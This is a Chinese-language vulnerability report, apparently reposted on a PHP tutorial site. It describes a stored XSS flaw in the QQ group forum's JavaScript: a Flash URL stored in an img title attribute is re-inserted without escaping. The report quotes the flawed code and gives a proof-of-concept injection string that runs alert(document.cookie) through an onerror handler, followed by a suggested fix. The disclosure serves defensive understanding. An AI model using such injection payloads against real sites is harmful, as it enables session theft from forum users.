来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] QQ群论坛某处代码缺陷导致存储型XSS,记得之前在群里发新帖子,是会有提示告诉群里的XXX发布了一个新的帖子,然后可以直接点进去看的,要是一点进去,就被XSS了,多带感~~ 哈哈...
QQ群论坛某处代码缺陷导致存储型XSS,记得之前在群里发新帖子,是会有提示告诉群里的“XXX发布了一个新的帖子”,然后可以直接点进去看的,要是一点进去,就被XSS了,多带感~~ 哈哈。 本文会同步至pkav.net
缺陷文件:http://qun.qq.com/god/m/js/bbs.zh-cn.js
缺陷代码:
$('div.blogInfo img').load(function() {
var obj = $(this),
title = obj.attr('title'),
src = obj.attr('src'),
reg = /src:(http:\/\/.{5,}\.swf),width:(\d+),height:(\d+)/g;
var match = reg.exec(title);
if (match && match.length > 0 && /.*\/god\/images\/space\.gif/.test(src)) {
obj.replaceWith('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="' + match[2] + '" height="' + match[3] + '"><param name="movie" value="' + match[1] + '" /><param name="quality" value="high" /><embed type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" menu="true" width="' + match[2] + '" height="' + match[3] + '" src="' + match[1] + '" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></object>');
return;
}
}
成因解析:
1. 程序员在显示FLASH时,是先将FLASH地址存储到了一个临时的img标签的title属性里,而在创建FLASH这个DOM元素时,从title里取出地址时,未进行二次的HTML过滤。从而导致了XSS。
2. 页面输出的临时IMG代码
<div class="blogInfo cl" id="blogInfo"> <img title="src:http://www.1.com/1.swf"><img/src="1"onerror="alert (document.cookie);"style="display:none;"><i/a="#.swf,width:480,height:320" src=http://up.2cto.com/2012/1205/20121205111215128.gif" width="480" height="320" /> <div>
3. title = obj.attr('title'),取出title属性后,其中的"等都自动转义回 " 等符号.
POC:
插入FLASH时,输入以下代码:
http://www.1.com/1.swf"><img/src="1"onerror="alert(document.cookie);"style="display:none;"><i/a="#.swf
然后发表帖子即可。
漏洞证明:
至于怎么利用,不做过多的危害演示啦~~
修复方案:
title = obj.attr('title') 取出title后,进行二次过滤
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com